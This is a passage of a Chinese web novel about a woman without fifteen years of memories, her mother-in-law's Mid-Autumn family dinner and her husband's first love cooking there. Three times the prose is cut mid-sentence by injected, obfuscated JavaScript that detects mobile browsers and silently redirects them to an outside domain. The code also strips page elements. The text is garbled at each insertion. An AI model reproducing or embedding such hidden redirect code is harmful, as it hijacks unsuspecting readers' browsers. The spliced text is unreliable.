这种折磨不能让她一个人来承受。应真忙道:“等君昊回来,我跟他说,礼拜天他应该能抽出时间。” 何方珍语气稍霁:“君昊的两个舅舅也会过来,两大家子十来个人,加上咱们家四个人。我打算大人两桌,小孩一桌。菜我准备得差不多了,就差几样海鲜。上次你带过来的那个帝王蟹不错,你帮我找那个商贩再订两只过来,再订两只东星斑,上回的虾很新鲜,还有鲍鱼,都订一些。两个舅舅都夸你做饭手艺好,周日那天你早点来……” 何方珍拉拉杂杂说了一长串,应真听得脑子发涨。婆婆这话里话外意思,她张罗家宴,干活的是自己这个儿媳? 应真这十几年的记忆全无,不觉得自己的厨艺已经到了能搞家宴的地步,她下意识地拒绝,“妈,前几天我开车被追尾了,手受伤了,到现在还不大能动。中秋家宴要不在外头吃吧,我来订餐厅。” 何方珍满满兴致,却遭到儿媳的拒绝。即便事出有因,她也明显不快,“开车追尾,什么时候的事?怎么没听你们说?” 应真跟自己亲妈相处学到的经验,不能报喜不报忧,于是她老老实实回道:“礼拜二的事。这几天我没法做饭,然然晚上都吃的外卖。” 一听到孙女吃外卖,何方珍开始心疼了,说话也没了分寸,“你说你,家里也不指着你赚钱,你天天啥事没有,照顾孩子都照顾不好。” 应真不知道四十岁的自己听了这话什么感觉,反正这会她听着十分刺耳,语气冷了下来:“妈,您也是过来人,照顾孩子怎么能叫啥事没有?昨天,我去开家长会,然然个子在女生堆里数一数二的高,学习也不错。这么多年,孩子的事君昊从来没沾过手,不都是我一个人在管吗?平时肯定不让她吃外卖,我这也是特殊情况。” 何方珍好多年没听过媳妇回嘴,在电话那头愣 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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那方面不能跟年轻的时候比,但每回他都能至少让应真到两次。他们已经好多年没有这么和谐了,以至于宁君昊有些上瘾了。 欲望一旦开闸,就很难再收回起来。他弯下身子一把把应真从床上抱起来,应真的屁股被他的胳膊托着,感觉到肌肉蕴含力道,再看他那双眼睛,还有什么不明白的? 应真今天可一点心情没有,相反她有一肚话要说,“我打你电话,你怎么不回?” 宁君昊正将头埋在她的颈间,用鼻尖去轻蹭,听到她问,嗡声道:“我一直在开会。开完会才看到。不过我着急开车回家,想着回来问你也是一样。你打电话给我什么事?” 着急开车回家,所以不回老婆电话?这听上去不像是什么正经理由。黄书韵说的,男人如果想打电话给你,上厕所掏出那家伙时,都能腾出一只手来拨号码。 不过她不想揪着这个问题不放,也不想聊婆婆叫他们周日去吃饭的事。 应真搂住宁君昊的脖子,目不转睛地看着他,“老公,我今天收拾衣柜时发现一张专打离婚官司的律师名片。家里怎么会有这个?” 宁君昊眼里的光亮一点点褪去,很快恢复了冷静自持的模样,将怀里的女人重新放回床上。 这么一会功夫,他胳膊没怎么样,应真的屁股胳得生疼。她摸了摸自己的屁股,听到宁君昊说: “田佳蕙离婚,你帮她咨询过律师。应该是那时候的。” 14. 第 14 章 周六早晨,应真起来,宁君昊已经衣冠楚楚地坐在餐桌边,正在看秘书给他准备的演讲稿。 他穿了件灰色亚麻西装,里面不像前几天那样一本正经地搭配衬衫,而是穿了件白色圆领T恤,比平时显年轻了不少。 应真站在那儿,心跳瞬间快了几拍,恍惚间以为自己又穿回去了。可是等宁君昊抬头看她时,她又骤然回过神来。 大约一个人变老,最大的变化不仅是外表,而是眼神。四十四岁的宁君昊看她怎么可能还像十几年前那样呢? 应真难掩失落,嘴上道:“我以为你周六会在家里陪我们。” 体验了几天四十岁的生活,应真已经感觉到自己的世界有多狭窄。女儿和丈夫是她世界的全部,而对于宁君昊来说,家庭生活只是他世界里的一小块。 不知道是只有自己的中年生活是这样,还是所有有老公有孩子的中年女人都这样。 往常宁君昊并不会报备行踪,应真也不会问他,他甚至感觉到她巴不得他周末不要在家。 可是此刻她脸上的怅然让他想起——在她那,自己还是她的新婚丈夫。他的心突然软了一下,难得补了一句:“上午有个行业活动,我是演讲嘉宾之一。” 应真“哦”了一声,她自己在外头打拼那么多年,很尊重工作,倒不至于耍脾气拦着不让去。 她把明天中秋家宴的事跟他说了,“妈打电话过来,说舅舅那边两大家子都会过来。听她口气好像逢年过节过去吃饭是惯例,我就答应下来了。” 宁君昊对每年这种例行几次的家庭聚餐一点兴趣也没,可是他妈就是爱张罗。 他一边拿笔圈点稿子,一边无所谓地说道:“你为什么答应她?你可以拒绝的。” 听到这轻飘到有些淡漠的话语,应真的眼睛里瞬间燃起两团火苗,“我为什么答应她,你不知道?” 如果不是因为何方珍是宁君昊的母亲,是自己的婆婆,她用得着搭理她?明天在家休息不好?还眼巴巴地联系商贩,给婆婆订食材…… 宁君昊想告诉她整这些没用,然而一抬眼看到她眼里的情绪,语气缓了下来,“既然你已经答应了,那就去吧。不过明天我有个视频会议,你带然然去,我就不去了。” 应真想也不想直接否决:“不行。这次你可别想逃。你知道的,我跟你家那些亲戚一点不熟。万一到时候露馅了怎么办?等你开完会,你跟我们一起去。” 往常这种家宴,宁君昊一年最多也就去个一回。大多数场合都是应真带着女儿出席。夫妻间早已经形成了默契。 他不觉得自己是个多么合格的儿子,这些年母亲那边有什么事,几乎都是应真去应对,她从来没有在他面前抱怨过。说白了,是应真在代替他孝顺母亲。他虽然没跟她表达过什么,但心底是很感激她的。 他没想到的是,原来应真对他母亲这么犯怵。结婚这么多年,他还是头一次听她说。 对于只有新婚记忆的妻子,他多了几分纵容:“我那个会议不知道到几点。你不嫌无聊就行。” 应真瞪大眼睛看着他:“怎么会无聊?如果不是每天要送女儿,我可以一个月不出门。” 司机已经把迈巴赫开到别墅门口,宁君昊看了眼时间,要出发了。 应真正在热土司,看他要出门,才想起来今天还没给他做咖啡,“喝杯咖啡再走。” 宁君昊将她揽过来亲了亲她的头发,“没时间了。我让小李买了。” 应真站在厨房的窗户前,目送着丈夫出门。院子里那棵枫树叶尖已经开始泛黄,枝干伸展到窗前。 原来跟宁君昊结婚十五年后的生活是这样。 应真想象着四十岁的自己目送丈夫的心情。 * 中秋那天,宁颐然很早就起床了,今天要去奶奶家吃饭。 她对这种一年三节的家族聚餐已经很习惯了,每次掌勺的基本都是妈妈。两个表婶婶一个是医院的副院长,一个是服装公司老总,看着就不是天天会围着厨房转的女人。所以奶奶每次都是使唤妈妈去做。 今天这都快十点了,妈妈也没有出门的迹象。 十点整,奶奶终于按捺不住打电话给她。 “然然,客人都来了,你们到哪了?” “我们还没出门呢。” 果然一听还没有出门,奶奶气得嗓门都高了,“这都十点多了,还没出门!你妈妈这一大早在干什么?手受伤不做饭也罢,人来得比客人还晚,这像话么……” 奶奶高亢的嗓门让宁颐然眉头皱了起来,她急着回同学消息,根本没心情跟奶奶说话,“爸爸早上要开视频会议。妈妈说等他开完了,再一起出门。” 抬出爸爸,奶奶口气就变了,“你爸爸也来啊。我以为他不来了。他要是工作忙,你妈妈可以带你先来啊。” “奶奶!是爸爸让我们等他的。他周日一大早就起来开视频会,已经够惨了,我们总不可能抛下他不管吧。” 孙女几句话成功地让何方珍闭嘴,转而开始心疼自己儿子,“你知道爸爸辛苦就好。那你爸爸开完会,你们赶紧一起过来。” 何方珍挂完电话,发现宋幼萱和二侄媳苏苒都看着自己,她摆摆手,换上一副淡定表情,“君昊今天也不知道怎么突然答应过来吃饭。我还以为他不来。没关系,我们还是按照先前的计划来。” 说罢,她拍了拍宋幼萱的肩,“幼萱,辛苦你了。你来做饭,今天我们有口福了。” 苏苒也在一旁道:“对,待会在君昊面前露一手,他肯定以为你不会做饭。” 宋幼萱跟宁君昊的表嫂苏苒很多年前就认识。苏家是做服装生意的,苏苒自己是一家服装公司的老板。 这要是平时来姑姑这吃饭,苏苒绝对不会进厨房。今天例外,她跟宋幼萱认识这么多年,人家堂堂大公司的老总亲自下厨,她肯定要进来陪着说说话,递个东西什么的。 宋幼萱低头忙手里的活,耳朵却一直在关注着何方珍那边的动静。 何方珍邀请她来吃饭的时候,说的是儿子不会过来,让她放心来。现在听说宁君昊要过来,宋幼萱的心变得兴奋甚至雀跃起来。 她努力克制心底的激动,唇角却忍不住翘了起来,冲苏苒嗔道:“你可别乱说。我今天来,是阿姨可怜我一个人在北市过中秋,叫我过来吃饭。我哪能光带着嘴来啊,听阿姨说没人做饭,我可不能放弃这练手的机会。” 要么说,她和宁君昊还是有心灵感应的,不枉她出门前特意精心打扮了一番。一头长发编了个麻花辫垂在胸前,穿了件V领长袖真丝裹裙,既能遮住小腹,又能衬出她丰满的胸部。 宋幼萱早想好了,她可不是来做灶下婢的,她要做美厨娘。来之前她还特意做了最新流行的ins风韩式美甲,温柔甜美又不失女人味。纤细的手指拿着剪刀正去除虾线,即便干活也要做到赏心悦目。 何方珍一开始听宋幼萱说她在英国上学期间,曾经在当地的蓝带学校进修了三个月,还有些将信将疑。这会看她进了屋也不见外,捋起袖子便开始处理食材,虽然没有自己儿媳妇动作麻利,但不急不徐,很有章法的,不由放下心来。 这次儿媳妇手腕受伤,可把她可急坏了。 正好昨天宋幼萱打电话问候她。宋幼萱是儿子的初恋女友,当年儿子还把家里的电话号码告诉了她。后来两人不知怎么又散了。虽然跟儿子分手了,但宋幼萱跟何方珍一直有联系,每年过年都会从英国打越洋电话给她拜年。 何方珍原本没把这个追求过儿子的女人当回事,毕竟这么多年了,人家肯定早已经在英国结婚生子。没想到去年宋幼萱回国开了间公司,跟自己儿子的公司还有合作,而且一直单身到现在。 有一次宋幼萱陪着她逛街,何方珍没忍住问她怎么还不结婚。结果宋幼萱亲亲热热地揽着她的胳膊:“不是每个人都像您儿媳妇那么好命的,有那么优秀的丈夫,又有这么好的婆婆!” 一番话说得何方珍很受用,心底倒对这姑娘多了一份亲近之意。 大概人心就是这么回事,当初宋幼萱跟儿子来往的时候,何方珍并不满意。毕竟那么小就去国外读书,住在寄宿家庭里,父母都不在身边,家教肯定不怎么样。 何方珍也没想到自个儿子那么有出息,大学没毕业就开公司,赚了别人几辈子都赚不来的钱,后来又娶了个光鲜亮丽的女明星。 对于应真,她一开始是满意的,但这么多年过去了,再中意的优点也变成了缺点。应真让她最不满意的地方,便是生了然然之后,无论她怎么劝说,都不肯再生。 自打女儿出生后,她就像换了个人一样,哪里看出来女明星的影子? 这些年何方珍偶尔会想起那个当年追求儿子的姑娘,说不定当年如果是那姑娘嫁给儿子,自己这会已经抱上孙子了。所以当宋幼萱回国后主动联系她,她是欣喜的。 宋幼萱是海市人,在北市人没有亲人,回国后经常打电话给何方珍,约她一起逛街吃饭。当年的小姑娘如今已经成了极有风韵的成熟女人,嘴甜又会哄她开心,不像她那个儿媳妇像个锯嘴葫芦一样,哄人的话一句不会说。 电话里,听到宋幼萱一个人在北市过中秋,何方珍便邀请她来家里过节。宋幼萱很高兴,还主动提出她来做饭。 何方珍大喜过望,这样一来中秋家宴不用愁了。 不过,刚才打电话给孙女,得知儿子今天会过来吃饭,老太太心里还是有些心上八下的。 有一回她在儿子面前提了宋幼萱几句,儿子当场跟她翻脸,还说让她以后不要跟宋幼萱来往。 老太太跟儿子犟了起来:“我一个人把你拉扯大,你现在会赚钱了,有本事了,倒管起我来了?我一把年纪孤零零的,交个朋友你也要管?再说你不也跟她合作,我为什么不能跟她来往?” 母子俩最后不欢而散。不过今天是中秋家宴,人家幼萱是她喊上门的帮手,料儿子也不会当着这么多面的人让自己下不来台。 何方珍看了眼墙上的钟,“君昊他们应该快来了。刚才 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15060851|162992||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然然说大概十一点到。” 宋幼萱:“那我得加快速度了。” 何方珍:“不着急。谁要是饿了,先吃点甜点垫垫肚子。” 苏苒也道:“我们早饭吃得晚,刚才又被姑姑喂了一大堆吃的,现在真是一点也不饿。” 宋幼萱一副胸有成竹的模样:“没事。大菜都已经炖上了。我菜也备得差不多了,等他们来了就可以炒了。” 苏苒看何方珍去客厅跟她公公聊天去了,凑近对宋幼萱小声道:“你还没见过我弟媳吧?” 宋幼萱摇摇头:“没有。” 虽然没见过本人,但她很多年前就在网上关注了应真的小号。应真偶尔会在上面发一些心情文字。在国外的那些日子里,宋幼萱已经快把那些文字翻烂了,字里行间能看出来应真跟宁君昊的感情并不好。最后一条内容,应真竟然隐晦地暗示她打算跟宁君昊离婚! 天知道她看到那条消息是什么心情!她激动得快飙出泪来,庆幸自己这么多年没白等! …… 苏苒坐在一旁边看她干活,不由感慨人长得漂亮,干起活来也赏心悦目,于是随口道:“她年轻的时候还行,这么多年当全职太太,整天就知道围着老公女儿转,跟社会脱节了。现在就跟普通中年女人没什么两样。不是我说,你可比我那弟媳强多了。” 宋幼萱想从她嘴里套话,故意道:“怎么可能?人家可是大明星,底子在那。我哪能跟明星比?” 看她不信,苏苒也不着急,翘着脚坐在那儿:“等会她来你就知道了。老公那么有钱,她一天天地也不打扮自己,活脱脱一个中年妇女,走在路上你根本不会多看一眼。” 宋幼萱其实在奇技楼下远远地看过应真一眼。当时她坐在车里,穿着一件很宽松的上衣,确实跟苏苒说的差不多。 这要是应真年轻十几岁,她不一定能比得过。但现在人家就是普通中年女人,宋幼萱觉得自己都不用跟她比。她一个管着几百人的公司老总,跟一个家庭妇女有什么可比的? 跌份! * 自打昨天跟妈妈吵了一架,宁颐然决定开启新一轮冷战,反正她是绝对不会主动跟妈妈说话的。 所以出门的时候,看到妈妈左手拎着几盒冬草夏草,右手手腕缠着白色绷带,她只是在心里嘀咕了几句。妈妈的手腕不是已经好了么?怎么又缠起绷带了? 在应真这,是她跟宁君昊结婚后第一次去婆家,多少有些严阵以待的意思。 “你说,今天负责掌勺的是谁?” 应真知道婆婆厨艺不佳,宁君昊两个表嫂也不会做饭的。 宁君昊从后视镜里看她一眼,只觉得她的唇色和平时不一样,眉眼像施了魔法突然亮了,头发卷曲的弧度精巧得像一串他极欣赏的代码。 原来她一大早上都在捯饬自己,宁君昊太久没看到她这副紧张在意的模样了,不由莞尔:“管他谁做饭,有的吃就行。” 应真不说话了。女儿真的把他这副有恃无恐的模样学了个十成足。 …… 何方珍这些年住在江心岛的别墅区。她以前住在丈夫供职的大学给教授分配的房子里头,习惯了热闹有烟火气的生活。她嫌独栋冷清,选了联排别墅,好歹有个邻居。 应真刚跟宁君昊结婚时,婆婆曾经流露出想跟他们一起住的想法。应真没说什么,宁君昊坚决不肯。他受不了他母亲的性格,恨不得离得越远越好,所以在江心岛给母亲买了房子。这里环境极好,是北市富人养老的首选之地。 宁君昊供养母亲的原则是,在金钱上毫不吝啬,绝不背负不孝的骂名,但嘘寒问暖的事坚决不做。 应真还是第一次来这个小区,小区环境非常幽静,看得出来物业很用心,草木都打理很漂亮。 宁颐然一下车就蹦蹦跳跳往奶奶家去,宁君昊从应真手里接过礼盒,两人跟在女儿后头进屋。 车子停在后门,一进门就是大厨房。宁颐然推开门发现往常冷冷清清的厨房今天好多人,保姆王阿姨在摘菜,奶奶和二婶婶坐在桌子旁边喝茶,吃点心。 而灶台前一个很漂亮的阿姨正在挥着锅铲做菜。宁颐然跟亲戚们打完招呼,又被奶奶拉着去跟那位正在做饭的阿姨打招呼。 那位阿姨笑眯眯地看着她:“你然然吧。” 宁颐然觉得她有些眼熟,好像以前在哪见过,但又一时想不起来,于是喊了句“阿姨好”,便去找表哥表姐们玩了。 宋幼萱看着那小姑娘的背影,身后响起脚步声和说话的声音,她转过头,便看到宁君昊牵着个女人进来。 他今天穿着件飞行员夹克,一扫平时的严肃沉闷,多了些潇洒不羁的味道。兴许是为了配他,旁边的女人穿了件丹宁蓝牛仔衬衫,小鸟依人般的挨在宁君昊身旁。一双桃花眼笑得弯弯的,眼眸清亮极了,只轻轻一瞥,便似有丝丝缕缕的丝线将人缠绕。 应真发现屋里有个陌生女人在打量自己,便礼貌性地冲她笑了笑,浑然没注意身边男人进屋后脸色变了。 15. 第 15 章 宁君昊是独子,他两个舅舅家也是独子。亲戚不算多,但来往很密切。应真跟宁君昊在一起后,跟表哥表嫂们见过面,也一起吃过饭。 大表嫂李秋今天没来。应真跟二表嫂苏苒打完招呼,婆婆就过来了。 何方珍一看儿子那脸色,就很头疼。这要是知道他今天会来,她就不把宋幼萱喊过来了。 这会这鬼仔瞪着一双吃人的眼睛,老太太还能说什么,只能对应真道:“这是小宋,你还是第一次见她吧?” 应真正想问这个小宋是谁,宁君昊在旁边用不大不小的声音道:“宋幼萱,我表嫂的朋友,她是一家游戏推广公司的老板。奇技刚上线的那款游戏是她的公司负责推广的。” 原来是丈夫公司的合作伙伴,应真冲宋幼萱点点头,说了声“你好”。 这屋里除了应真,其他女人脸色都变得微妙起来。宋幼萱第一次跟应真近距离接触,觉得她跟自己想的差不多。除了保养得比她想得好一点,不过命好嫁了有钱老公,从头到脚就是个纯蠢天真的家庭主妇而已。 刚才宁君昊说话的时候,目光从自己身上掠过,他眼里全是拒人千里之外的冷意。宋幼萱心里发酸,面上还得保持着得体的笑容,也对应真说了句“你好”。 苏苒感觉自己今天这趟没白来,赶巧撞上了一场大戏——看来应真还不知道宋幼萱这号人的存在,宁君昊为了瞒他老婆,谎话真的张口就来。 话说她跟宋幼萱之所以成为朋友,还不是因为他的缘故?当年宋幼萱放暑假,千里迢迢从伦敦飞到北市来看他。那时宁君昊在Q大念大四,天天课也不上,在外头鼓捣电脑的事,也不搭理宋幼萱。苏苒那时候已经工作了,正跟宁君昊表哥谈恋爱,看小姑娘可怜,便请她吃了几次饭。 谁还没年轻的时候?不就是初恋么?苏苒不觉得这事有什么好隐瞒的。何况应真不过是一个家庭妇女,就是让她知道了又怎么样,能闹出什么来?她又不可能跟君昊离婚。 苏苒现在年纪大了,对这种事看得挺开的,撇了撇嘴,想开几句不痛不痒的玩笑,瞅到宁君昊眼里浓重的警告,她玩笑也没法说出口了,只能挽着宋幼萱的胳膊,笑道:“那我和幼萱,我们可认识太久了,有二十年了吧?” 宋幼萱任由她挽着,红唇蠕动了几下:“二十一年了。” 苏苒看热闹不嫌事大,笑眯眯道:“还是你记得清楚。” 宁君昊眼眸愈发黑沉,掀起眼皮扫了她一眼。苏苒咧嘴笑,乖乖闭上嘴巴。 应真看了看苏苒,又看了看宋幼萱,总觉得气氛有些不对劲,又说不出哪里不对劲。 何方珍看这架势还有什么不明白,赶紧道:“幼萱一个人在北市过年,我把她喊过来,结果她听说你手受伤,主动说她来做饭。” 应真一脸感激地看着宋幼萱:“宋小姐。辛苦你了。” 她笑起来,眼睛弯弯的,酒涡很深,那眼神清澈得像个二十来岁的小姑娘,边说边挽起何方珍的手,对宋幼萱道:“我要谢谢你帮了我和我婆婆的大忙。” 她的妆并不浓,衣服也没有挑特别显身材的,看上去轻闲写意,一点也不费力。 宋幼萱止不住的泛酸,有点后悔自己穿这身出门了,显得自己用力过猛。不过毕竟是当老总的,面上愣是一点没显出来,她笑道:“应该的。我一个人在北市打拼,何阿姨把我当女儿一样。” 何方珍脑壳疼,自己什么时候把她当女儿?只能硬着头皮道:“当年应真跟君昊认识之前,也是一个人在北市打拼,多亏了有她姨妈照拂。女孩子家家的,都不容易。” 苏苒觉得姑姑这话说得挺有水平,憋着笑没吱声。 宁君昊这会只想应真离宋幼萱远远的。然而何方珍注意到儿媳妇左手手腕上缠的白色绷带,逮着她追问起来,“好好开着车,怎么会遇到追尾?拍了片子没有?医生怎么说?” 应真打定主意做戏做全套,说辞早就想好:“拍了片子,医生说有轻微骨裂,要休养一段时间。” 何方珍听说只是轻微骨裂,便道:“那这段时间君昊和然然的生活怎么办?还好只是伤到左手,应该不耽误做饭,你也别天天给然然点外卖了……” 应真忍着想翻白眼的冲动。她想告诉婆婆女儿已经十四岁了,她像女儿这么大的时候,早饭都已经自己做了。她不仅做给自己吃,还要做给弟弟妹妹吃。至于宁君昊,四十多的人了,用得着她照顾? 幸好她的手已经好了,这要是真的骨裂了,还给丈夫女儿做饭,未免也太惨了吧? 宁君昊也没耐心听母亲唠叨,出声打断:“妈,然然已经大了,你别操那么多心了!我们还没跟舅舅打招呼呢。” 他拽着应真往客厅去。何方珍跟在儿子后头,嘴上道:“正好你小舅从武夷山回来,带了很好的茶叶,你大舅又不喝茶,你赶紧陪小舅喝几杯。” 苏苒靠在桌子边,看着表弟表弟媳的背影,转头对上宋幼萱那张比院子里石头还硬的脸,心里多少有些尴尬。 一分钟前她还在宋幼萱面前埋汰自己弟媳,这会人家两口子就光鲜亮丽地登门了。才几个月不见,她那个弟媳简直像吃了回春药,换了一个人。 苏苒多少有点被打脸的感觉,凑到宋幼萱耳朵小声道:“她肯定是刚做了眼睛,要么开了眼角,要么打了什么东西,等会我问问她,在哪家医院做的。” * 宁君昊两个舅舅现在都七十多岁了。大舅退休前是国家干部,儿子现在在一家事业单位担任领导,儿媳妇李秋在北市最好的三甲医院工作,刚刚升任了副院长。 二舅以前是国营商场的总经理,儿子从国外留学回来后一直在奢侈品行业工作,现在是一家奢侈品公司的高管,儿媳妇苏苒在一家服装公司担任老总。 应真来之前就了解了宁君昊这边几个常来往的亲戚这些年的变化,跟舅舅舅妈,还有两个表哥都打了招呼,大表嫂李秋今天加班没来。 她庆幸大表嫂今天没来。不然以婆婆的性子,肯定让大表嫂给她看手腕,她岂不是要露馅。 虽然婆婆住的是联排别墅,但院子的面积却挺大的。种了不少果树和叫不出名的珍贵树种,扎了秋千,还做了鱼池和凉亭。这个季节,花香、草木香和果香浅浅漾在鼻息间,说不出的惬意。 小舅:“这大红袍得配紫砂壶才好,可惜你妈妈这没有紫砂壶,咱们就用这套玉泥的茶具将就一下。” 何方珍听不得哥哥说“将就”:“谁说我这没有紫砂壶了?我给你找。” 没过一会果然找出一套紫砂茶具。应真看着婆婆端出来的盒子,觉得很眼熟。那不是她第一回见未来婆婆送的伴手礼吗?没想到这么多年一直放在储藏室,都没开封。 何方珍也想起来,“这好像还是应真当年送给我的。可惜我做了胃肠手术后很少喝茶了。二哥,你看看能不能用。要是能用,你就带回去。” 应真正琢磨这把壶现在肯定很贵,本来想说“您要是用不上,我就带回去,等宁君昊退休了给他用”。婆婆已 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15060852|162992||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 经开口了,她就把话咽了下去。 小舅是个识货的,接过来看了一眼,差点从沙发上跳起来了,激动得满脸泛光,“方珍,你这儿媳妇对你可真好!十几年前就送你这么好的壶!这壶可是顾景舟顾大师的作品。你知道现在值多少钱吗?你真给我啊?” 何方珍依稀记得儿媳好说像是哪个老师的作品,她不识货,也不知道现在值多少钱。但被二哥这么一问,心底开始有丝后悔,嘴上仍道:“管它值多少钱,我现在又不喝茶。” 小舅伸出五根指头比划了一下,“前段时间,香港那边拍卖会拍了一把跟这差不多的壶,也是顾景舟的,价格五百万。” 应真听到这价格也吓一跳。这把壶是十几年前,她在宜市一个古镇拍戏时,花十几万收过来的。没想到十几年过去,价格涨了这么多。 何方珍一听这么贵,不免有些肉痛,埋怨地看了儿媳妇一眼,“你怎么不早跟我说,我一直以为就是个普通的老师做的。我还一直搁在储藏间,好几次王阿姨打扫的时候,都差点摔了。” 应真:“……” 如果不是听小舅说,她也不知道顾景舟的壶现在价格这么高了。 小舅笑得合不拢嘴,苏苒在厨房里听到动静,也出来凑热闹。得知公公白得了一把价值五百万的紫砂壶,笑得顾不上脸上的皱纹。公公只有一个儿子,以后这壶肯定会传给他们。 大舅一家在旁边多少有些泛酸。宁君昊看在眼里,便说下回给大舅拍一套他喜欢的字画。 这下轮到何方珍难受了,家宴还没开始,就出了这么多血,饭都没心情吃了。 厨房里只剩下宋幼萱和王阿姨两人。宋幼萱不再分神,专心在做饭上。她要让宁君昊知道,就是当老婆,她宋幼萱也不输给任何人! * 宁颐然正跟叔伯家的孩子在院子里玩。他们三年纪差不多,大伯家里宸宸哥哥和二伯家的霜霜姐姐,都在念初三,宁颐然在念初二。 三人趴在鱼池边,一人拿着一袋鱼食逗池子里的锦锂。宁颐然喂完了,抢过何宸手里的鱼食接着喂。 何凌霜看不惯她的霸道,对何宸道:“你就让她抢你的啊。” 何宸耸了耸,一副无所谓的样子,“不就是一袋鱼食嘛。” 喂了一会,三人都觉得无聊,便一起玩起了飞盘。宁颐然是培华皮划艇社团的成员,每周都会去俱乐部租的场地练习,臂力特别大,好几次不小心把飞盘摔到霜霜姐姐的脸上。 何凌霜被砸了几次,生气了:“宁颐然,你就是故意的!” 宁颐然也很委屈:“姐,我真的不是故意的。我要是故意的,你脑袋早就开花了。” 何凌霜将飞盘甩在地上:“不玩了。没意思。” 来之前的路上,她爸妈说了一路,让她不管玩什么吃什么,都要让着然然妹妹。每次都是这样,所以才会助长宁颐然霸道的性子。 宁颐然觉得她有些莫名其妙,自己也没怎么样,她怎么像火药桶一样就炸开了。 何凌霜脾气来得快去得快,很快过来揽着她,“我从我爸妈那听到一个关于你家的秘密,你想不想知道?” 宁颐然正在跟奶奶养的狗狗玩,随口问了句:“什么秘密。” 何凌霜凑到她耳边小声说了一句话,宁颐然看她一眼:“那又怎么样?” 何凌霜笑嘻嘻地看着自己表妹:“你傻啊!你奶奶一直嫌你妈没给你爸生儿子,这是打算给你换个后妈呢。宁颐然,你爸妈要离婚了!” 16-20 第16章 第16章我怀疑他在外面有情况…… 何凌霜虽然一副笑嘻嘻的模样,但掩不住她满脸看好戏的表情。 宁颐然无语,感觉自己厌蠢症快犯了,不想搭理她。于是,她把掉在脚下的飞盘往远处一扔,蹭在她腿边的狗狗便像离弦的箭一样往飞盘方向冲去。 何凌霜看她这样,以为她没听明白自己的话,继续道:“那个在做饭的是你爸的初恋女友哎!你奶奶为什么把她喊过来啊?你不懂啊?你妈不肯生儿子,你奶奶要把他们拆散!” 宁颐然想起来自己什么时候见过那女的了。有一次她在奶奶家玩,正好碰到那女的过来给奶奶送东西。她当时还以为是奶奶的朋友。 那女的是他爸的初恋女友?说实话,她有些不信。不过,是不是都不重要。重点是,奶奶非要把这女的戳在她爸妈跟前。 宁颐然拍了拍裤子上的狗毛,往旁边的秋千上一坐。奶奶家的秋千还是她小时候扎的,她现在长高了,这秋千还是这么矮,坐上去腿都没办法伸直。 一抬眼看到表姐做了个拆散的动作,她快被逗死了。其实何凌霜跟陈穗一样,跟她也是第四代表亲。但奶奶看不上妈妈那边的亲戚,老在背后嘀咕,搞得她以为爸爸这边的表哥表姐更亲。 宁颐然双条腿撑在地上,慢悠悠开口道:“我爸跟我妈结婚的时候,已经很有钱了,但他没跟我妈签婚前协议。要是离婚了,我妈要分走他一半财产。我爸那么精明爱钱的人,那还不如要他的命,他怎么可能答应?你用脚趾头想想好不好。” “都什么年代,还拆散。你以为我爸会听我奶奶的啊?我就没见过谁能做得了我爸的主!” 宁颐然说到最后有些咬牙切齿,生奶奶的气,有她这个孙女还不够吗?非得要孙子才满足?孙子除了身体部位比她多一截,哪里比她强? 小时候,奶奶就经常在她耳边说:“让你妈妈给你生个弟弟做伴。”她没往心里去,但这次何凌霜把这事给彻底撕开了,宁颐然这才意识到奶奶根本没有那么爱她! 不过没关系,在爸爸妈妈那她仍然是心尖肉! 宁颐然下巴抬得老高,几乎有些睥睨地看着自己表姐,“我爸妈老早就跟我说了,这辈子不会有别的孩子,我就是他们唯一的女儿。我爸还说,等我长大,要教我怎么管理公司。” 何凌霜脑子有些转不动,看表妹这么笃定的模样,觉得说得很有道理。很快,她开始慌了起来:“然然妹妹,我是听我爸妈那么说的,也可能我听错了。不管了!你可千万别把我刚才说的话跟你爸妈说,你就当我放屁好了。” 何宸话比较少,听她们聊完,才开口:“离婚的事可没那么简单。我爸妈先前也闹过离婚,我爸嫌我妈工作忙,顾不上家。我妈嫌我爸像个大爷,有时间也不管家里的事。他俩已经到了民政局了,还是回来了。我妈说舍不得我。” 说实话,何凌霜只是为了气一气宁颐然,并不是真的想她爸妈离婚。毕竟宁颐然妈妈,小表婶特别温柔,平时对她很不错。 何凌霜隐约想起来他爸妈之间也因为别的女人吵过架,那女人是她爸的秘书,后来她妈妈想办法逼着爸爸把秘书给换掉了。 她叉腰看着自己表妹:“宁颐然,你不觉得这种破坏父母团结的女人最讨厌吗?” “早知道这么没意思。我就不来吃这个饭了。”宁颐然站起来拍拍屁股,朝表哥表姐勾了勾手指头,“走,我们去厨房看看有没有什么好吃的。” …… 厨房里,宋幼萱菜已经做得差不多了。两只帝王蟹,一只清蒸,一只拆了爆炒。她最得意的还是烤羊排,先用特制调料腌好,蒸两小时,再放进烤箱里烤,这样烤出来的羊排诱人极了。 